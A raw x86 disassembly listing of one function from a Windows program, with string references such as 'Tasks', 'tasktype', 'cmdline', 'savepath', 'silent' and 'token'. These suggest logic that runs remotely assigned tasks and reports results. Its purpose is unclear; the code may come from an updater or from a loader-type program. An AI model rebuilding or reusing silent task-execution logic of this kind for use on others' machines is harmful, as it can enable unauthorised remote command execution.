lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ebx, eax
lea eax, [ebp - 0x6d4]
mov byte [ebp - 4], 0xd1
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov edi, eax
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0xd2
call fcn.0040f960
push eax
mov ecx, ebx
call fcn.0040f960
push eax
lea ecx, [ebp - 0x4f8]
call fcn.0040f960
push eax
mov ecx, edi
call fcn.0040f960
push eax
mov ecx, esi
call fcn.00456140
lea ecx, [ebp - 0x6d4]
mov edi, eax
call fcn.00407320
lea ecx, [ebp - 0x4c8]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xce
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
test edi, edi
je 0x45222f
push str.Success
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xd3
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xd4
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xd5
call fcn.00406750
mov byte [ebp - 4], 0xd6
jmp 0x45226f
push str.Error
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xd7
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xd8
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xd9
call fcn.00406750
mov byte [ebp - 4], 0xda
push 1
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x6d4]
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x4f8]
call fcn.00407320
lea ecx, [ebp - 0x448]
call fcn.00407320
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0xaa
call fcn.00407320
mov ebx, dword [ebp - 0x430]
test ebx, ebx
je 0x4526ad
lea ecx, [ebp - 0x5c0]
call fcn.00439e10
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0xe4
call fcn.00439f40
push str.taskid
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xe5
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xe4
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x5c0]
call fcn.00439ed0
mov edx, eax
mov ecx, edi
call fcn.00417120
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4e0]
call fcn.00406750
push str.Success
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xe6
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xe7
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xe8
call fcn.00406750
push 1
lea eax, [ebp - 0x4e0]
mov byte [ebp - 4], 0xe9
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x5c0]
call fcn.00401ee0
jmp 0x4526ad
push str.tasktype
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xdb
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xaa
mov edi, eax
call fcn.00407270
cmp edi, 4
jne 0x452304
mov ebx, dword [ebp - 0x430]
test ebx, ebx
jne 0x452312
lea eax, [ebp - 0x4a8]
mov ecx, esi
push eax
call fcn.00454f00
lea ecx, [ebp - 0x528]
test al, al
je 0x452590
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Success
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xdc
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xdd
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xde
call fcn.00406750
mov byte [ebp - 4], 0xdf
push 1
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x6d4]
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0xaa
call fcn.00407270
jmp 0x45230a
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Error
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xe0
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xe1
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xe2
call fcn.00406750
mov byte [ebp - 4], 0xe3
jmp 0x452517
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xea
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xeb
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xec
call fcn.00406750
push 1
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0xed
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x4a8]
call fcn.00407520
lea ecx, [ebp - 0x528]
mov byte [ebp - 4], 0x8e
call fcn.00407270
inc dword [ebp - 0x42c]
lea ecx, [ebp - 0x494]
push str.Tasks
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x8f
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x90
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437b10
cmp dword [ebp - 0x42c], eax
lea ecx, [ebp - 0x448]
setl bl
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x8e
call fcn.00407270
test bl, bl
jne 0x450fb0
lea ecx, [ebp - 0x564]
call fcn.004077e0
mov ebx, eax
lea ecx, [ebp - 0x564]
mov dword [ebp - 0x430], ebx
call fcn.004566d0
mov dword [ebp - 0x42c], eax
cmp ebx, eax
je 0x452d55
mov ecx, ebx
call fcn.00456760
mov ebx, eax
lea ecx, [ebp - 0x464]
push str.Tasks
mov dword [ebp - 0x44c], ebx
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xee
call fcn.00406750
mov byte [ebp - 4], 0xef
lea eax, [ebp - 0x464]
push dword [ebx]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004025c0
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xf2
call fcn.00407270
push str.taskidstr
lea ecx, [ebp - 0x6d4]
call fcn.00406750
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0xf3
push eax
lea eax, [ebp - 0x6d4]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xf5
call fcn.00407270
cmp dword [ebx + 4], 0
je 0x452c4f
push dword [ebx]
mov ecx, esi
push str.cmdline
push 2
call fcn.0044e7c0
test eax, eax
je 0x452957
push str.cmdline
lea ecx, [ebp - 0x464]
call fcn.00406750
push str.savepath
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xf6
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0xf7
push eax
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ebx, eax
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0xf8
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov edi, eax
mov ecx, ebx
mov byte [ebp - 4], 0xf9
call fcn.0040f960
push eax
mov ecx, edi
call fcn.0040f960
push eax
lea eax, [ebp - 0x4e0]
push 0x5909e4
push eax
call fcn.00413710
add esp, 0x10
lea ecx, [ebp - 0x540]
call fcn.00407320
lea ecx, [ebp - 0x4c8]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xfe
call fcn.00407270
push 0
lea ecx, [ebp - 0x4e0]
call fcn.0040f960
xor edx, edx
mov ecx, eax
call fcn.00417040
mov ebx, dword [ebp - 0x44c]
lea ecx, [ebp - 0x4e0]
add esp, 4
mov byte [ebp - 4], 0xf5
mov dword [ebx + 8], eax
call fcn.00407320
jmp 0x4529cb
push str.savepath
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xff
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
push 0
mov ecx, eax
mov dword [ebp - 4], 0x100
call fcn.0040f960
xor edx, edx
mov ecx, eax
call fcn.00417040
add esp, 4
mov dword [ebx + 8], eax
lea ecx, [ebp - 0x464]
mov dword [ebp - 4], 0xff
call fcn.00407320
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xf5
call fcn.00407270
cmp dword [ebx + 8], 0
je 0x452b22
lea ecx, [ebp - 0x5c0]
call fcn.00439e10
lea ecx, [ebp - 0x5c0]
mov dword [ebp - 4], 0x101
call fcn.00439f40
push str.taskid
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 1
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x5c0]
call fcn.00439ed0
mov edx, eax
mov ecx, edi
call fcn.00417120
lea ecx, [ebp - 0x448]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4e0]
call fcn.00406750
push str.Success
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 3
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 4
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 5
call fcn.00406750
push 1
lea eax, [ebp - 0x4e0]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x5c0]
mov dword [ebp - 4], 0xf5
call fcn.00401ee0
jmp 0x452d20
lea ecx, [ebp - 0x448]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x540]
call fcn.00406750
push str.Success
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 4], 0x107
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 8
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 9
call fcn.00406750
push 0
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x4e0]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
mov dword [ebp - 4], 0xf5
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x540]
call fcn.00406750
push str.Error
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 4], 0x10b
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xc
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xd
call fcn.00406750
mov byte [ebp - 4], 0xe
jmp 0x452ca9
lea ecx, [ebp - 0x448]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x540]
call fcn.00406750
push str.Error
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 4], 0x10f
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x10
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x11
call fcn.00406750
mov byte [ebp - 4], 0x12
push 1
lea eax, [ebp - 0x540]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
mov dword [ebp - 4], 0xf5
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x8e
call fcn.00407520
mov ebx, dword [ebp - 0x430]
add ebx, 8
mov dword [ebp - 0x430], ebx
cmp ebx, dword [ebp - 0x42c]
jne 0x452772
lea ecx, [ebp - 0x564]
mov byte [ebp - 4], 0x40
call fcn.004566e0
mov eax, dword [esi + 0x9fc]
cmp eax, 0xc8
je 0x452d9d
cmp eax, 0x190
je 0x452d9d
mov ecx, esi
call fcn.0044a130
test eax, eax
je 0x45363e
mov eax, dword [esi + 0x9fc]
cmp eax, 0x64
je 0x452d9d
cmp eax, 0x12c
jne 0x45363e
push str.Favorite
lea ecx, [ebp - 0x4e0]
call fcn.00406750
mov dword [ebp - 4], 0x113
lea ecx, [ebp - 0x6d4]
mov ebx, dword [ebp - 0x424]
or ebx, 0x2000000
push str.Config
mov dword [ebp - 0x428], ebx
call fcn.00406750
lea eax, [ebp - 0x4e0]
mov dword [ebp - 4], 0x114
push eax
lea eax, [ebp - 0x6d4]
or ebx, 0x4000000
push eax
mov ecx, 0x5ba9b8
mov dword [ebp - 0x428], ebx
mov edi, ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437e40
test al, al
je 0x452e87
push str.Favorite
lea ecx, [ebp - 0x464]
call fcn.00406750
mov dword [ebp - 4], 0x115
lea ecx, [ebp - 0x6bc]
or ebx, 0x8000000
push str.Config
mov dword [ebp - 0x428], ebx
call fcn.00406750
lea eax, [ebp - 0x464]
mov dword [ebp - 4], 0x116
push eax
mov ebx, edi
lea eax, [ebp - 0x6bc]
or ebx, 0x18000000
mov ecx, 0x5ba9b8
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
mov byte [ebp - 0x6a1], 1
test al, al
je 0x452e8e
mov byte [ebp - 0x6a1], 0
test ebx, 0x10000000
je 0x452ea7
lea ecx, [ebp - 0x6bc]
and ebx, 0xefffffff
call fcn.00407270
test ebx, 0x8000000
je 0x452ec0
lea ecx, [ebp - 0x464]
and ebx, 0xf7ffffff
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 4], 0x40
and ebx, 0xf9ffffff
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
mov edi, ebx
je 0x45363e
push str.taskidstr
lea ecx, [ebp - 0x6d4]
call fcn.00406750
push str.Favorite
lea ecx, [ebp - 0x464]
mov dword [ebp - 4], 0x117
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x18
call fcn.00406750
lea eax, [ebp - 0x528]
mov byte [ebp - 4], 0x19
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0x1d
call fcn.00407270
push 0
push str.silent
push 1
mov ecx, esi
call fcn.0044d8a0
test eax, eax
je 0x45326d
push str.checked
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Favorite
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x1e
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x1f
call fcn.00406750
push 1
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0x20
push eax
lea eax, [ebp - 0x540]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x1d
call fcn.00407270
push str.selected
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Favorite
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x21
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x22
call fcn.00406750
push 1
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x23
push eax
lea eax, [ebp - 0x540]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x1d
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
mov byte [ebp - 4], 0x24
push str.Checked
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x25
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x26
call fcn.00406750
push 1
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x27
push eax
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x1d
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x28
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x29
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x2a
call fcn.00406750
push 0
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x2b
push eax
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x1d
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Show
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x2c
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x2d
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x2e
call fcn.00406750
push 1
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x2f
push eax
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x1d
call fcn.00407270
push str.checked
lea ecx, [ebp - 0x510]
call fcn.00406750
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x540]
or ebx, 0x20000000
push str.Favorite
mov dword [ebp - 0x428], ebx
call fcn.00406750
mov eax, edi
mov dword [ebp - 4], 0x131
or eax, 0x60000000
lea ecx, [ebp - 0x4e0]
push str.Config
mov dword [ebp - 0x428], eax
call fcn.00406750
lea eax, [ebp - 0x510]
mov dword [ebp - 4], 0x132
push eax
lea eax, [ebp - 0x540]
or edi, 0xe0000000
push eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x428], edi
push eax
mov ecx, 0x5ba9b8
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
cmp al, 1
jne 0x4533ed
push 1
push str.Status
mov ecx, esi
call fcn.0043b1e0
test eax, eax
jne 0x4533ed
mov bl, 1
jmp 0x4533ef
xor bl, bl
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x510]
mov dword [ebp - 4], 0x11d
call fcn.00407270
test bl, bl
je 0x453565
push 4
push str.General
mov ecx, esi
call fcn.0043b1e0
test eax, eax
je 0x45350c
lea eax, [ebp - 0x5c0]
mov ecx, esi
push eax
push 0
push 0
call fcn.0044ae40
lea eax, [ebp - 0x5c0]
push eax
mov eax, dword [esi + 0xac8]
call eax
lea ecx, [ebp - 0x528]
test eax, eax
jne 0x4534b6
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x33
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x34
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x35
call fcn.00406750
mov byte [ebp - 4], 0x36
jmp 0x4535bc
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x37
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x38
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x39
call fcn.00406750
mov byte [ebp - 4], 0x3a
jmp 0x4535bc
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x3b
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x3c
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x3d
call fcn.00406750
mov byte [ebp - 4], 0x3e
jmp 0x4535bc
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x3f
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x40
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x41
call fcn.00406750
mov byte [ebp - 4], 0x42
push 1
lea eax, [ebp - 0x47c]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4c8]
push eax
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x528]
mov dword [ebp - 4], 0x40
call fcn.00407270
push 0xb0
lea ecx, [ebp - 0x6a0]
call fcn.0040b770
push 1
push 3
lea ecx, [ebp - 0x6a0]
call fcn.0040bf40
push 1
push str.Status
mov ecx, esi
mov dword [ebp - 4], 0x143
call fcn.0043b1e0
push eax
mov edx, str.ver
lea ecx, [ebp - 0x690]
call fcn.0040dcf0
mov edx, str.4.4.2.38
mov ecx, eax
call fcn.0040dcf0
push ecx
mov edx, str.developer
mov ecx, eax
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.0040c030
mov edx, str.winver
mov ecx, eax
call fcn.0040dcf0
lea edx, [esi + 0x5b0]
mov ecx, eax
call fcn.0040dfb0
push dword [esi + 0x9fc]
mov edx, str.token
lea ecx, [ebp - 0x690]
call fcn.0040dcf0
lea edx, [esi + 0x538]
mov ecx, eax
call fcn.0040dfb0
push ecx
mov edx, str.button
mov ecx, eax
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.00457330
push 8
lea ecx, [ebp - 0x578]
call fcn.00421110
push str.Show
push str.show
lea ecx, [ebp - 0x130]
call fcn.0045ad90
push str.Checked
push 0x590a00
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x44
